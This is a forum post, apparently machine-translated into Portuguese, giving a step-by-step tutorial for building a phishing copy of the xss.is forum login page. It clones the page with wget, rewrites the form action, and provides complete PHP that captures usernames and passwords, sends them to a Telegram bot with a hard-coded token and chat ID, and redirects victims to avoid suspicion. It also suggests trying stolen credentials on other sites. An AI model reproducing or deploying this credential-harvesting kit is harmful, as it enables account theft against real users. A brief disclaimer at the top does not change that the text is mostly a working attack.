Spoiler: não use isso em usuários do fórum. Para se proteger desse tipo de ataque, use 2FA e verifique o domínio do site que você visita. Use senhas diferentes em todos os sites.
E então, o que é phishing para quem não sabe.
Phishing é um tipo de fraude na Internet cujo objetivo é obter acesso a dados confidenciais do usuário - logins e senhas.
Isso nos é fornecido pela Wikipedia, e se, em termos simples, for uma cópia do site, seja um layout baixado ou um 1v1 feito com as próprias mãos, no qual, ao pressionar o botão de login ou login ou pressione enter, os dados dos campos de login e senha não são enviados ao servidor do site para tentar o login, mas voam direto para o nosso servidor e depois para o telegrama para facilitar a leitura.
A propósito, o login e a senha recebidos podem ir não apenas para a conta do site em que a vítima está tentando entrar, mas também para outros sites, uma pessoa é preguiçosa por natureza e a maioria caiu em pelo menos usar senhas diferentes em sites, então podemos usá-lo duplamente tentando bruto e outros fóruns também, como VVH, lolz e outros.
Vamos começar..
Com base no exposto, precisamos de um layout ou uma cópia da página de autorização do nosso fórum. Deixaremos a opção de fazer manualmente como último recurso, a primeira coisa que você precisa fazer é tentar baixar a página automaticamente e ver se ela está sem ombreiras, apenas economizamos tempo.
Os hackers legais da mamãe usam o Linux e ele já possui uma ferramenta integrada chamada wget . Para quem não tem e está nas distribuições Debian, instale com o comando
sudo apt update && sudo apt install wget
Pesquisar linux wget full page stackoverflow nos dá o seguinte comando
Nós vamos usá-lo. A página de autorização está localizada no link https://xss.is/login , inserimos em nossa equipe
wget \
--recursive \
--level 5 \
--no-clobber \
--page-requisites \
--adjust-extension \
--span-hosts \
--convert-links \
--restrict-file-names=windows \
--domains yoursite.com \
--no-parent \
https://xss.is/login
Por precaução, direi para você prescrever o comando já em uma pasta pré-criada na área de trabalho para que depois você não suba no computador e não procure onde o site baixou.
Como resultado do download, obtemos um arquivo index.html
arquivos de origem como css, js de quaisquer scripts que não precisamos localmente, será suficiente que eles sejam extraídos do host do fórum.
Exemplo:
<script src="https://xss.is/js/xf/login_signup.min.js?_v=88682c32"></script>
Sempre aconselho configurar um servidor local para ver o resultado do site baixado localmente pelo navegador, as vezes os scripts não funcionam se você abrir index.html pelo caminho exemplo: mas funcionam corretamente no Você pode baixar
file:///home/me/Downloads/test/xss.is/login/index.html
o
localhost localhost:8000
OpenServer ou Xampp, ligue o Apache e solte index.html ali mesmo e veja o que aconteceu no localhost. Mas eu não gosto desses programas, é mais fácil para mim fazer isso com php e aqui está como.
Se alguém não tiver php, instale
sudo apt install php
verificando se a versão mais recente é 8.1 ou 8.2 algo assim, se 7.4 estiver instalado já está desatualizado e não é muito útil, mas isso é para o futuro.
Comando para aumentar o servidor local
php -S localhost:8000
É natural prescrever na pasta em que está localizado nosso index.html,
podemos ver no navegador o que obtivemos
Temos muita sorte da página ser exibida corretamente, sem ombreiras e bugs de layout, geralmente quando você baixa o site em 90% dos casos você precisa fazer algumas edições para que a cópia fique quase 1 em 1, mas aqui está tudo ok.
Acho que é hora de fazer uma pausa
Abrimos a pasta com o arquivo no VSCODE, abrimos index.html e para encontrar o formulário com os campos login e senha, fica mais fácil procurar o nome de usuário ou e-mail e na 700ª linha encontramos imediatamente nosso formulário
Um pouco mais acima vemos a linha
<form action="https://xss.is/login/login" method="post" class="block"
aqui que precisamos alterar a ação, é através dela que serão enviados todos os dados do formulário, a senha de login é o token _xfToken e assim por diante, mas de toda confusão vamos tirar apenas o registro:passa.
Mude a ação para otstuk.php
Vai sair assim
<form action="otstuk.php" method="post" class="block"
Claro, agora precisamos criar esse arquivo em uma pasta e escrever o código que enviará nossos dados para o carrinho.
A primeira coisa a verificar é o que está sendo enviado. Para fazer isso, escrevemos o seguinte código
<pre> //
<?php // php
var_dump($_POST); // - ,
$_POST
Salvamos, vamos ao nosso localhost, preenchemos os dados do teste e pressionamos o botão de login.
Podemos ver que tudo funciona corretamente, os dados chegam, vemos nosso log de teste passar e não precisamos do resto.
telegrama
Um pouco de preparação
Crie seu bot através de https://t.me/botFather , com a ajuda do bot receberemos um log:pass em uma mensagem pessoal. Copie o token emitido.
Certifique-se de enviar /start para o bot para criar um chat com ele.
Use https://t.me/userinfobot para descobrir seu chat_id. Isso é necessário para que nosso bot entenda para quem enviar a mensagem.
Como resultado, você deve anotar seu id de chat e o token de bot criado em algum lugar.
De volta ao PHP
Na API do Telegram, para enviar uma mensagem de um bot para uma LAN, uma solicitação HTTP GET é usada.
https://api.telegram.org/botTOKEN/sendM … ;text=TEST
Em vez de TOKEN - nosso token de bot é inserido
Em vez de chat_id - nosso ID de bate-papo.
Texto - o texto da mensagem deve ser codificado para urls (urlencoded).
Mas se inserirmos o link no navegador, ele codificará nossa própria mensagem, precisará apenas ser codificado em código PHP.
Vamos tentar enviar uma mensagem de teste.
https://api.telegram.org/bot6062552065: … ;text=TEST
Eu tenho esse link, colo no navegador e vejo o que sai.
Tudo está funcionando!
E o bot enviou uma mensagem
Eu removo tudo o que escrevi anteriormente e tento integrá-lo ao PHP. Para executar uma solicitação get, bastará usar a função file_get_contents
<?php
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=TEST');
Agora, pressionando o botão de login na página do peixe, seremos redirecionados para otstuk.php e o bot do carrinho nos enviará uma mensagem de TESTE.
Vamos substituir TEST por um log pass e depois redirecionar para a página principal do fórum para não levantar suspeitas.
Vamos criar uma variável $mensagem = ''.
Para colocar o login nela, adicione a seguinte linha:
$message .= 'Login: ' . $_POST['login'];
Como a variável post é um array, você pode acessá-la pela chave de login e obtê-la você mesmo.
Vamos verificar o que a variável $message agora armazena em si mesma. Isso pode ser feito com uma linha.
var_dump($message); die;
die - encerrará a execução do código para não enviar uma solicitação get durante nossa depuração.
Tudo funciona corretamente, de acordo com o mesmo esquema, adicionamos a senha à nossa variável $message, apenas adicionamos uma demolição da linha ao login para que a mensagem não fique em uma linha.
$message .= 'Login: ' . $_POST['login'] . "\n"; //
$message .= 'Password: ' . $_POST['password'];
Debazim
Tudo em uma linha só, mas quando for mandar uma mensagem no carrinho vai ficar lindo.
A última etapa é substituir TEST pela nossa variável e adicionar um redirecionamento.
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));
O redirecionamento é feito com
Header('Location: https://xss.is/login/');
Não se esqueça de remover o dado; , caso contrário, o código será interrompido.
O resultado final deve ser algo assim
<?php
$message = '';
$message .= 'Login: ' . $_POST['login'] . "\n";
$message .= 'Password: ' . $_POST['password'];
var_dump($message);
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));
Header('Location: https://xss.is/login/');
Vamos ao navegador em nosso localhost, digite a senha de login e veja o que acontece.
Tudo está funcionando!
Telegram me enviou uma mensagem